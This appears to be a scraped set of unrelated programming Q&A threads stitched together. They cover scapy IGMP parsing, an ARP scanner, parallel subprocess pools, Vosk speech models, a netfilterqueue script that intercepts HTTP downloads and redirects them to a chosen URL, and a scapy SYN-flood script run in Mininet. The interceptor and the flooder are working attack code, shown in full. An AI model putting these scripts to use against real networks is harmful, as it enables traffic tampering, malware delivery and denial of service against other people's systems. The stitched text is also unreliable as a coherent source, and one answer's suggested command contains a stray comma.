I'm attempting to parse IGMPv3 packets with the RawPcapReader in scapy. For some reason unbeknownst to me it's not detecting the IGMP layer:
#!/usr/bin/env python3
import argparse
import os.path
import sys
from scapy.contrib.igmpv3 import IGMPv3
from scapy.utils import RawPcapReader
from scapy.layers.l2 import CookedLinux
from scapy.layers.inet import IP
def pcap_parser(pcap_file):
for (pkt_data, pkt_metadata) in RawPcapReader(pcap_file):
ether_pkt = CookedLinux(pkt_data)
if ether_pkt.proto != 0x800:
# Ignore non-ip packets.
continue
ip_pkt = ether_pkt[IP]
ip_proto = ip_pkt.fields['proto']
if ip_proto == 2:
igmp_pkt = ip_pkt[IGMPv3]
def _command_line_args():
parser = argparse.ArgumentParser()
parser.add_argument('--pcap', metavar='<input pcap file>', help='pcap file to parse', required=True)
args = parser.parse_args()
return args
def main():
args = _command_line_args()
if not os.path.exists(args.pcap):
print(f'Input pcap file "{args.pcap}" does not exist', file=sys.stderr)
sys.exit(-1)
pcap_parser(args.pcap)
if __name__ == '__main__':
main()
I get a IndexError: Layer [IGMPv3] not found error, despite the packets being detected in Wireshark:
Related
import scapy.all as scapy
import optparse
def get_arguments():
parser = optparse.OptionParser()
parser.add_option("-r", "--range", dest="range", help="Use --range To Scan your Wifi Clients")
options = parser.parse_args()[0]
if not options.range:
parser.error("Please Specify an Option")
else:
return options
def scan(ip):
Ip_Addr = scapy.ARP(pdst=ip)
Mac_Addr = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
add_IpMac = Mac_Addr/Ip_Addr
(answered, unanswered) = scapy.srp(add_IpMac, timeout=1, verbose=False)
result_list =[]
for list in answered:
result_dic ={
"ip": list[1].psrc,
"mac": list[1].hwsrc
}
result_list.append(result_dic)
return(result_list)
def print_results(result_list):
print("\n")
print(" IP\t\t\t\tMac")
print("\n-----------------------------------------")
for result in result_list:
print(result["ip"]+"\t\t"+ result["mac"])
options = get_arguments()
result_dic = scan(options.range)
print_results(result_dic)
I made a simple IP Scanner which I use to scan the Local Network. I want to get the Hostname like netdiscover. Is there a way to get every Hostname in the local network with scapy.all? Here is my Python Script where I want insert the Hostname:
I'm going to run the command line utility multiple times in parallel using Python.
I know that multithreading is better to use for I/O operations, multiprocessing - for CPU oriented operations.
But what should I use for parallel subprocess.run?
I also know that I can create a pool from the subprocess module, but how is it different from pools from the multiprocessing and threading modules? And why shouldn't I just put subprocess.run function into multiprocessing or threading pools?
Or maybe there are some criteria when it is better to put a utility run cmd into a pool of threads or processes?
(In my case, I'm going to run the "ffmpeg" utility)
In a situation like this, I tend to run subprocesses from a ThreadPoolExecutor, basically because it's easy.
Example (from here):
from datetime import datetime
from functools import partial
import argparse
import concurrent.futures as cf
import logging
import os
import subprocess as sp
import sys
__version__ = "2021.09.19"
def main():
"""
Entry point for dicom2jpg.
"""
args = setup()
if not args.fn:
logging.error("no files to process")
sys.exit(1)
if args.quality != 80:
logging.info(f"quality set to {args.quality}")
if args.level:
logging.info("applying level correction.")
convert_partial = partial(convert, quality=args.quality, level=args.level)
starttime = str(datetime.now())[:-7]
logging.info(f"started at {starttime}.")
with cf.ThreadPoolExecutor(max_workers=os.cpu_count()) as tp:
for infn, outfn, rv in tp.map(convert_partial, args.fn):
logging.info(f"finished conversion of {infn} to {outfn} (returned {rv})")
endtime = str(datetime.now())[:-7]
logging.info(f"completed at {endtime}.")
def setup():
"""Parse command-line arguments."""
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument(
"--log",
default="warning",
choices=["debug", "info", "warning", "error"],
help="logging level (defaults to 'warning')",
)
parser.add_argument("-v", "--version", action="version", version=__version__)
parser.add_argument(
"-l",
"--level",
action="store_true",
default=False,
help="Correct color levels (default: no)",
)
parser.add_argument(
"-q", "--quality", type=int, default=80, help="JPEG quailty level (default: 80)"
)
parser.add_argument(
"fn", nargs="*", metavar="filename", help="DICOM files to process"
)
args = parser.parse_args(sys.argv[1:])
logging.basicConfig(
level=getattr(logging, args.log.upper(), None),
format="%(levelname)s: %(message)s",
)
logging.debug(f"command line arguments = {sys.argv}")
logging.debug(f"parsed arguments = {args}")
# Check for requisites
try:
sp.run(["convert"], stdout=sp.DEVNULL, stderr=sp.DEVNULL)
logging.info("found “convert”")
except FileNotFoundError:
logging.error("the program “convert” cannot be found")
sys.exit(1)
return args
def convert(filename, quality, level):
"""
Convert a DICOM file to a JPEG file.
Removing the blank areas from the Philips detector.
Arguments:
filename: name of the file to convert.
quality: JPEG quality to apply
level: Boolean to indicate whether level adustment should be done.
Returns:
Tuple of (input filename, output filename, convert return value)
"""
outname = filename.strip() + ".jpg"
size = "1574x2048"
args = [
"convert",
filename,
"-units",
"PixelsPerInch",
"-density",
"300",
"-depth",
"8",
"-crop",
size + "+232+0",
"-page",
size + "+0+0",
"-auto-gamma",
"-quality",
str(quality),
]
if level:
args += ["-level", "-35%,70%,0.5"]
args.append(outname)
cp = sp.run(args, stdout=sp.DEVNULL, stderr=sp.DEVNULL)
return (filename, outname, cp.returncode)
if __name__ == "__main__":
main()
Alternatively, you can manage a bunch of subprocesses (in the form of Popen objects) directly, as shown below.
(This was older code, now modified for Python 3)
import os
import sys
import subprocess
from multiprocessing import cpu_count
from time import sleep
def checkfor(args):
"""Make sure that a program necessary for using this script is
available.
Arguments:
args -- string or list of strings of commands. A single string may
not contain spaces.
"""
if isinstance(args, str):
if " " in args:
raise ValueError("No spaces in single command allowed.")
args = [args]
try:
with open("/dev/null", "w") as bb:
subprocess.check_call(args, stdout=bb, stderr=bb)
except Exception:
print("Required program '{}' not found! exiting.".format(args[0]))
sys.exit(1)
def startconvert(fname):
"""Use the convert(1) program from the ImageMagick suite to convert the
image and crop it."""
size = "1574x2048"
args = [
"convert",
fname,
"-units",
"PixelsPerInch",
"-density",
"300",
"-crop",
size + "+232+0",
"-page",
size + "+0+0",
fname + ".png",
]
with open("/dev/null") as bb:
p = subprocess.Popen(args, stdout=bb, stderr=bb)
print("Start processing", fname)
return (fname, p)
def manageprocs(proclist):
"""Check a list of subprocesses for processes that have ended and
remove them from the list.
"""
for it in proclist:
fn, pr = it
result = pr.poll()
if result is not None:
proclist.remove(it)
if result == 0:
print("Finished processing", fn)
else:
s = "The conversion of {} exited with error code {}."
print(s.format(fn, result))
sleep(0.5)
def main(argv):
"""Main program.
Keyword arguments:
argv -- command line arguments
"""
if len(argv) == 1:
path, binary = os.path.split(argv[0])
print("Usage: {} [file ...]".format(binary))
sys.exit(0)
del argv[0] # delete the name of the script.
checkfor("convert")
procs = []
maxprocs = cpu_count()
for ifile in argv:
while len(procs) == maxprocs:
manageprocs(procs)
procs.append(startconvert(ifile))
while len(procs) > 0:
manageprocs(procs)
# This is the main program ##
if __name__ == "__main__":
main(sys.argv)
The vosk model that I'm using is the vosk-model-en-us-aspire-0.2 (1.4GB). Every time needs quite an amount of time to load the vosk model. Is it necessary to recreate the vosk object every time? It takes much time to load the model if we only load the model once. It can save up at least half of the time.
No it isn't required. In many of the examples they load the model first and then perform transcription. Your software is probably just not written correctly.
https://github.com/alphacep/vosk-server/blob/master/websocket-microphone/asr_server_microphone.py
#!/usr/bin/env python3
import json
import os
import sys
import asyncio
import websockets
import logging
import sounddevice as sd
import argparse
import queue
from vosk import Model, KaldiRecognizer
def int_or_str(text):
"""Helper function for argument parsing."""
try:
return int(text)
except ValueError:
return text
def callback(indata, frames, time, status):
"""This is called (from a separate thread) for each audio block."""
loop.call_soon_threadsafe(audio_queue.put_nowait, bytes(indata))
async def serve_client(websocket, path):
clients.add(websocket)
print ("Client connected from", websocket)
await websocket.wait_closed()
clients.remove(websocket)
async def recognize_microphone():
global audio_queue
model = Model(args.model)
audio_queue = asyncio.Queue()
with sd.RawInputStream(samplerate=args.samplerate, blocksize = 2000, device=args.device, dtype='int16',
channels=1, callback=callback) as device:
logging.info("Running recognition")
rec = KaldiRecognizer(model, device.samplerate)
while True:
data = await audio_queue.get()
if rec.AcceptWaveform(data):
result = rec.Result()
logging.info(result)
websockets.broadcast(clients, result)
async def main():
global args
global clients
global loop
parser = argparse.ArgumentParser(add_help=False)
parser.add_argument('-l', '--list-devices', action='store_true',
help='show list of audio devices and exit')
args, remaining = parser.parse_known_args()
if args.list_devices:
print(sd.query_devices())
parser.exit(0)
parser = argparse.ArgumentParser(description="ASR Server",
formatter_class=argparse.RawDescriptionHelpFormatter,
parents=[parser])
parser.add_argument('-m', '--model', type=str, metavar='MODEL_PATH',
help='Path to the model', default='model')
parser.add_argument('-i', '--interface', type=str, metavar='INTERFACE',
help='Bind interface', default='0.0.0.0')
parser.add_argument('-p', '--port', type=int, metavar='PORT',
help='Port', default=2700)
parser.add_argument('-d', '--device', type=int_or_str,
help='input device (numeric ID or substring)')
parser.add_argument('-r', '--samplerate', type=int, help='sampling rate', default=16000)
args = parser.parse_args(remaining)
logging.basicConfig(level=logging.INFO)
loop = asyncio.get_running_loop()
clients = set()
logging.info("Listening on %s:%d", args.interface, args.port)
await asyncio.gather(
websockets.serve(serve_client, args.interface, args.port),
recognize_microphone())
if __name__ == '__main__':
asyncio.run(main())
The code provided below accepts the arguments but it doesn't print help menu while specifying -h. The error method doesn't print the specified message when any argument is missing. Am I missing something?
I expect the code to print a custom message when no arguments are given or when one is missing.
import netfilterqueue
import scapy.all as scapy
from termcolor import colored
import argparse
seq_list = []
def get_argurments():
parse = argparse.ArgumentParser()
parse.add_argument("-f", "--filetype", dest="filetype", help="Press -h for Help.")
parse.add_argument("-u", "--url", dest="url", help="Press -h for Help." )
args = parse.parse_args()
return args
def process_queue():
queue = netfilterqueue.NetfilterQueue() # Creating an Instance of NetFilterQueue.
queue.bind(0, process_packets) # Binding the instance to the '0' Queue-num in Iptables rule.
queue.run()
def set_packet_load(packet, load):
packet[scapy.Raw].load = load
del packet[scapy.IP].len
del packet[scapy.IP].chksum
del packet[scapy.TCP].chksum
return packet
def process_packets(packet):
args = get_argurments()
scapy_packet = scapy.IP(packet.get_payload()) # To convert the Raw packets into scapy packets.
if scapy_packet.haslayer(scapy.Raw): # Checking for Raw Layer which contains the useful Data.
if scapy_packet.haslayer(scapy.TCP):
if scapy_packet[scapy.TCP].dport == 80:
if args.filetype in scapy_packet[scapy.Raw].load:
print(colored("[+] File Request", "yellow"))
load = scapy_packet[scapy.Raw].load
print(colored("[+] Request >> ", "green") + load)
seq_list.append(scapy_packet[scapy.TCP].ack)
elif scapy_packet[scapy.TCP].sport == 80:
if scapy_packet[scapy.TCP].seq in seq_list:
seq_list.remove(scapy_packet[scapy.TCP].seq)
print(colored("[+] Replacing File", "green"))
modified_packet = set_packet_load(scapy_packet, "HTTP/1.1 301 Moved Permanently\nLocation: "+ args.url + "\n\n")
modified_response = scapy_packet[scapy.Raw].load
print(colored("[+] Modified Response >> " + modified_response))
packet.set_payload(str(modified_packet))
packet.accept() # Forwarding the Packets.
def launch_attack():
print(colored("[+] File Interceptor running... Make sure you specified the FileType (-f) and Replacement File URL (-u) ", "green"))
try:
process_queue()
except KeyboardInterrupt:
print(colored("[-] Ctrl-C Detected... Quitting..", "yellow"))
launch_attack()
I used following python script to create a custom topology in mininet using sudo Python My_topology.py :
from mininet.topo import Topo
from mininet.node import Node
from mininet.net import Mininet
from mininet.cli import CLI
from mininet.node import RemoteController
import os
import sys
logging.getLogger().setLevel(logging.INFO)
class MyTopo (Topo):
def __init__(self, ipBase='10.0.0.0/8'):
Topo.__init__(self)
global host_list
# Add hosts and switches
s1 = self.addSwitch('s1')
for i in range(1, 21):
self.addHost('h%s'%i)
host_list.append('h%s'%i)
self.addLink('h%s'%i, s1)
def attack():
h1 = net.get('h1')
h1.cmd('sudo python .../My_SYNflood_attack.py')
topo = MyTopo()
net = Mininet(topo, controller=lambda name: RemoteController(name,
ip= '127.0.0.1', protocol= 'tcp', port= 6633), autoSetMacs= True)
net.start()
attack()
CLI(net)
net.stop()
As you see in attack function I used another .py script to send TCP packets from host h1 t another host. My_SYNflood_attack.py is as follow:
from scapy.all import *
import os
import sys
import random
import argparse
srcIP = '10.0.0.1'
dstIP = '10.0.0.10'
srcPort = 5555
dstPort = 4444
def randInt():
x = random.randint(1000,9000)
return x
def SYN_Flood(srcIP,dstIP,dstPort,counter):
total = 0
print("Packets are sending ...")
for x in range (0,counter):
s_port = randInt()
s_eq = randInt()
w_indow = randInt()
IP_Packet = IP ()
IP_Packet.src = srcIP
IP_Packet.dst = dstIP
TCP_Packet = TCP ()
TCP_Packet.sport = s_port
TCP_Packet.dport = dstPort
TCP_Packet.flags = "S"
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow
send(IP_Packet/TCP_Packet, verbose=0)
total+=1
sys.stdout.write("\nTotal packets sent: %i\n" % total)
def main():
SYN_Flood(srcIP, dstIP,dstPort,10)# 10 is number of packets
if __name__ == "__main__":
main()
So as you see in second script I set source and destination IP address statically, now I want to send source an destination IP address from first script and call My_SYNflood_attack.py in attack function like this: h1.cmd('sudo python .../My_SYNflood_attack.py 10.0.0.2 10.0.0.3')
How can I do it??
are you looking for something like this?
def attack():
h1 = net.get('h1')
h1.cmd('sudo python .../My_SYNflood_attack.py 10.0.0.2, 10.0.0.3')
and:
scrIP = sys.argv[1]
dstIP = sys.argv[2]
You can use to call another python script with arguments:
subprocess.call(['python', '.../My_SYNflood_attack.py.py', somescript_arg1, somescript_val1,...])